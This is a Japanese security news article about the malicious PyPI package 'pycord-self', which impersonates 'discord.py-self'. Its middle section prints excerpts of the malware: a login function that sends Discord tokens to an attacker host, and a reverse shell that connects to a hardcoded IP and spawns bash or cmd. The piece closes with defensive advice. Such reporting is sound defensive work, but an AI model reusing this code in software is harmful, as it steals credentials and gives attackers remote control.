
海外のセキュリティ企業Socket は約 2,800 万回ダウンロードされている非常に人気の高い「discord.py-self」を模倣した、悪意のあるPyPi パッケージ「pycord-self」がDiscord 開発者を標的にして認証トークンを盗み、システムをリモート制御するためのバックドアを仕掛けている事を指摘しました。
目次
正規パッケージ: 「discord.py-self」とは
Python プログラミング言語を使用して Discord ユーザーアカウントを操作するためのライブラリです。具体的には、Discord API をラップしており、ユーザーアカウントとしてボットのような動作を実現するためのツールです。
悪意のあるパッケージ「pycord-self」はこのdiscord.py-selfへ見た目と内容を偽装し、Discord 開発者を標的にしています。
正規パッケージ: 「discord.py-self」の概要ページ
- 作者: Dolfies
- リリース日: 2023年4月8日
- ダウンロード数: 2,788万回
悪意のあるパッケージpycord-selfの概要ページ
- 作者: Linkedminds(偽名)
- リリース日: 2024年6月20日
- ダウンロード数: 885回
「pycord-self」パッケージには、次のアクションを実行できる悪意のあるコードが含まれていることが判明しました。
Discordトークンの盗難
- Discord認証トークンを攻撃者のサーバー(
http://radium.lol:42069/...
)へ送信。 - 攻撃者がトークンを使用して被害者のアカウントへ不正アクセス可能。
async def login(self, token: str) -> None:
requests.get(
'http://radium.lol:42069/v2/...',
headers={'X-Sw-Version': token}
)
バックドアの永続化
- 攻撃者のリモートサーバー(IP:
45.159.223.177
, ポート:6969
)に接続。 - 被害者システム上でLinuxは「bash」、Windowsは「cmd」のシェルを起動し、攻撃者に永続的なアクセスを提供。
def __internal_login():
if platform.system() == 'Linux':
s.connect(("45.159.223.177", 6969))
subprocess.Popen(["bash"], stdin=s.fileno(), stdout=s.fileno())
elif platform.system() == 'Windows':
s.connect(("45.159.223.177", 6969))
subprocess.Popen(["cmd"], stdin=s.fileno(), stdout=s.fileno())
threading.Thread(target=__internal_login).start()
推奨対策
- パッケージの確認:
- インストール前にPyPIパッケージの信頼性(作者やダウンロード数)を確認。
- セキュリティ対策:
- 不審なネットワーク通信やプロセスを監視。
- 多要素認証(2FA)を有効にする。
- インシデント対応:
- 万が一感染した場合は、即座にトークンの再生成とシステムのスキャンを実施。